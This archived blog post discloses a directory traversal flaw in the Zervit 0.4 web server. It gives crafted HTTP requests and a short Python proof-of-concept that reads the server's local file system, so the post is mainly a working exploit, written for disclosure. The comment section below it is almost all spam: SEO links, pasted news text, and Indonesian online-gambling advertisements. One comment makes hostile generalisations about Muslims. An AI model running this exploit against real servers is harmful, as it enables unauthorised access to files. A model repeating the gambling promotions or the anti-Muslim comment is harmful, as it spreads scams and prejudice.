This site is soon to be deprecated by http://www.johnleitch.net

Tuesday, May 11, 2010

Zervit 0.4 Directory Traversal

It's possible to navigate the local file system of a server running Zervit 0.4 by using a specially crafted HTTP request. The resource path must be relative and the slashes unencoded.

Exploit:
GET /\../ HTTP/1.1

Host: localhost



or


GET //../ HTTP/1.1

Host: localhost


PoC:
zervit0.4-traversal.py
import sys, struct, socket
host ='localhost'
port = 80

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send('GET /' + '\..' * 32 + '/ HTTP/1.1\r\n'
'Host: ' + host + '\r\n\r\n')

while 1:
response = s.recv(8192)
if not response: break
print response

26 comments:

  1. Coleman Technologies offers Auto Renew, which renews domain names before they expire. You can set Auto Renew at an account-wide level or for individual...

    ethernet sfp
    Small business computer support

    ReplyDelete
  2. CoPilot Live can help make a planned getaway even more enjoyable. With millions of Points of Interest including restaurants, parks to grill, and a variety of attractions, CoPilot Live can help you find and navigate to your ideal destinatisbobeton this weekend. Whether it’s a short drive to the beach or a long vacation getaway, GPS navigation on a mobile device is proving to be a very popular traveling companion

    ReplyDelete
  3. text onlineDownload GamesSince regaining independence, Madagascar has transitioned through four republics with corresponding revisions to its constitution. The First Republic (1960–1972), under the leadership of French-appointed President Philibert Tsiranana, was characterized by a continuation of strong economic and political ties to France.

    ReplyDelete
  4. balers

    architecture blogColeman Technologies offers Auto Renew, which renews domain names before they expire. You can set Auto Renew at an account-wide level or for individual...

    ReplyDelete
  5. There most definitely a comparison. Who is to say this is a democratic system when fraud is used to put politicians in place that support the presiding regime. It maintains that only establishment politicians are put into power that keep to the status quo. Look at Obama and Bush, two parties with two allegedly separate ideologies yet were are doing nearly the exact same things we were
    office furniture

    imitation breitling

    ReplyDelete
  6. replicas de relogios importados

    lean cuisine rewardsAfter only a short stretch in Etobicoke, where it runs through the Humber Heights – Westmount neighbourhood Lawrence crosses the Humber River and enters Weston in the former city of York. East of Weston it enters North York, and passes through the neighbourhoods of Amesbury, Maple Leaf, Glen Park, Lawrence Heights, and Lawrence Manor.

    ReplyDelete
  7. red wine brands

    psicologos boadilla
    cease-fire starting Thursday, saying they had captured key territory and achieved their military mission.
    The Azawad National Liberation Movement (MNLA) said the rebels had captured enough of Mali's vast Sahara region to put down their guns.
    The online statement said the MNLA "decides unilaterally to proclaim an end to military operations as of Thursday, April 5 at midnight GMT."

    ReplyDelete
  8. como ganhar dinheiro extra

    air conditioning Denver
    ECOWAS imposed a diplomatic and financial embargo, said Ivory Coast President Alassane Ouattara, who is chairman of the group.
    "All diplomatic, economic, financial measures and others ... will not be lifted until the re-establishment of constitutional order," he said.
    Sanctions targeted the supporters and relatives of the military junta and all those involved in contributing to the "destabilization" of Mali, the African Union said.

    ReplyDelete
  9. >replicas de relogios famosos

    psicologos el escorial
    Jaafari also accused the General Assembly president, Qatari Ambassador Nassir Abdulaziz al-Nasser, of "media terrorism" for cutting off a television feed of the General Assembly as he tried to speak following Annan's briefing, and for ignoring a request to observe a moment of silence "for the souls of the victims -- all the victims -- that have fallen this year."
    "The purpose of the meeting for him was how to defame the reputation of Syria, not to help stop the violence in Syria and to put an end to the unrest in some hot spots in the country," Jaafari said.

    ReplyDelete
  10. replicas de relogios Mont Blanc

    psicologos las rozas
    MohammadDar All over the world, Muslims are the one who are having problem. They still want to stay in stone age and want others to follow them. They want to be in western countries and wants other to follow the culture over there. I have just one question for them if your country, people, religion and culture is so great then why you want to go in first place to other country.
    All these Muslims countries doesn't have any democracy and if any, they will soon follow the dictate of their religious head who doesn't have any respect for other religions.

    ReplyDelete
  11. psicologos villanueva pardillo

    discount designer handbags Harry to the Sword of Godric Gryffindor, among the few objects able to destroy horcruxes. When Harry attempts to recover the sword, the horcrux attempts to kill him. Ron reappears, saving Harry and using the sword to destroy the locket.

    ReplyDelete
  12. poker facebook

    electronic cigarettein various parts of government and military security apparatus. If the day came -- and it did come -- where there was a threat to the regime, he could count on the loyalty of those closest to him."
    Here is a closer look at the al-Assad family, an authoritarian dynasty that has been in place

    ReplyDelete
  13. Data analysis

    sheet metal fabricationAfter only a short stretch in Etobicoke, where it runs through the Humber Heights – Westmount neighbourhood Lawrence crosses the Humber River and enters Weston in the former city of York. East of Weston it enters North York, and passes through the neighbourhoods of Amesbury, Maple Leaf, Glen Park, Lawrence Heights, and Lawrence Manor.

    ReplyDelete
  14. The biography, Life of Arnold, published two years after his early death by one of Arnold's former pupils Arthur Penrhyn Stanley, is considered one of the best works of its class in the language and added to his growing reputation. A popular life of him by the novelist Emma Jane Guyton also appeared.[4] In 1896 his bust was unveiled in Westminster Abbey alongside that of his son, Matthew and the Times asserted that "As much as any who could be named, Arnold helped to form the standard of manly worth by which Englishmen judge and submit to be judged".[5] However, his reputation suffered as one of the Eminent Victorians in Lytton Strachey's book of that name published in 1918.
    car rental peoria il

    cute round frame

    ReplyDelete
  15. I called the local newspaper. Elaine Stevens of the South Bend Tribune was kind enough to search the files for me. She sent a number of articles, all of which seemed to have been generated by the publication of Jessup’s book.hyper based marketing

    ReplyDelete
  16. I actually like what you have acquired here, really like what you're stating and the way in which
    you say it. You make it enjoyable and you still care for to keep it sensible.
    I cant wait to read much more from you. This what is yacon

    ReplyDelete
  17. Kami mau Share saja ini buat yang suka main Poker dan domino
    www.duniaqq.com hadir buat anda...

    >>>>>>>>>>>>>>> WWW.DUNIAQQ.COM >>>>>>>>>>

    Ayo Bergabung......Bagi anda pengemar *****POKER & DOMINOqq*****

    Silakan Gabung Dan Join Di Website
    Resmi Kami Di ****** WWW.DUNIAQQ.COM ******

    Minimal Deposit Dan Withdraw Hanya <<<<>>>>

    Kami menyediakan ***BONUS*** LOTERE dengan Minimum DEPO: >>>>>Rp.100.000<<<<<
    Anda Mendapat kan BONUS *****1 KUPON***** LOTERE, Dan Berlaku >>> KELIPATAN <<<


    Situs kami Terpercaya Dan Aman
    Dengan CS Yang Terampil,Ramah Dan Sopan
    Deposit Dengan Harga Yang Relatif Kecil Yakni <<<<>>>>
    Anda Sudah Dapat Menikmati
    Proses Deposit dan withdraw Hanya Kurang Dari 3 Menit

    Support Bank:
    -BCA
    -MANDIRI
    -BNI
    -BRI
    -DANAMON

    Permainan POKER dan DominoQQ
    Buruan Gabung Dan Mainkan Permainan POKER dan Domino QQ anda
    Hanya Di http://www.duniaqq.com/?ref=DUNIA88

    Dengan Layanan Operator Professional 24jam Siap Melayani Anda.

    Bantuan & Info:
    Pin BB : 2B44FC28
    YM: CS_DUNIAQQ@YAHOO.COM
    LIVE CHAT 24 JAM
    http://www.duniaqq.com/?ref=DUNIA88

    ReplyDelete
  18. Main di Web capsa kami Min depo dan WD cuma 50rb.
    Daftar Sekarang di Permainan Capsa Susun di ElangCapsa.com

    ReplyDelete
  19. Ingin Mendapatkan Bonus Setiap Harinya, Nah Jangan Sampai Ketinggalan
    DaduPoker membagikan Bonus Turnover Setiap Hari loh ^^

    6 Permainan 1 Situs
    Poker | BandarQ | Capsa
    DominoQQ | BandarPoker
    AduQ

    DaduPoker Proses DP WD Super Cepat
    Minimal Depo Rp 20.000,-
    Minimal WD Rp 50.000,-

    Untuk Info Lebih Lanjut Kunjungi Langsung di goo.gl/PpRXxc
    BBM : 2BE2B4B7
    Salam Dadupoker - Agen Judi Poker & Domino Online Terpercaya

    ReplyDelete
  20. Numpang Promo ya kakak-kakak ^_^

    Segera gabung di DewaDominoqq , Agen Poker dan Domino Terbesar se-Indonesia
    100% FairPlay!!

    DewaDominoQQ >> https://goo.gl/mFX8Bc

    Minimal Deposit & Withdraw IDR 15.000
    Bonus TurnOver 0.5 % Setiap Hari
    Bonus Referral 20 % Seumur Hidup
    Akses ke 7 Game Hanya dengan 1 ID

    Tunggu apalagi ayo segera join DewaDominoQQ
    Register : https://goo.gl/UNouGB

    Ayo dicoba juga Game kami yang lain :
    ** Fish Hunter **
    ** Sabung Ayam **

    Bila anda mempunyai pertanyaan langsung saja hubungi kami via :
    LiveChat : https://goo.gl/7iitCO
    LINE : dewadominoqq
    BBM : 2B5E9CDB
    WhatsApp : +85593827759
    YM : dewadominoqq@yahoo.com
    Twitter : @dewadominoqq
    Fanpage : https://goo.gl/H515Qd

    ReplyDelete
  21. Nice article great post comment information thanks for sharing

    ดูหนัง

    ReplyDelete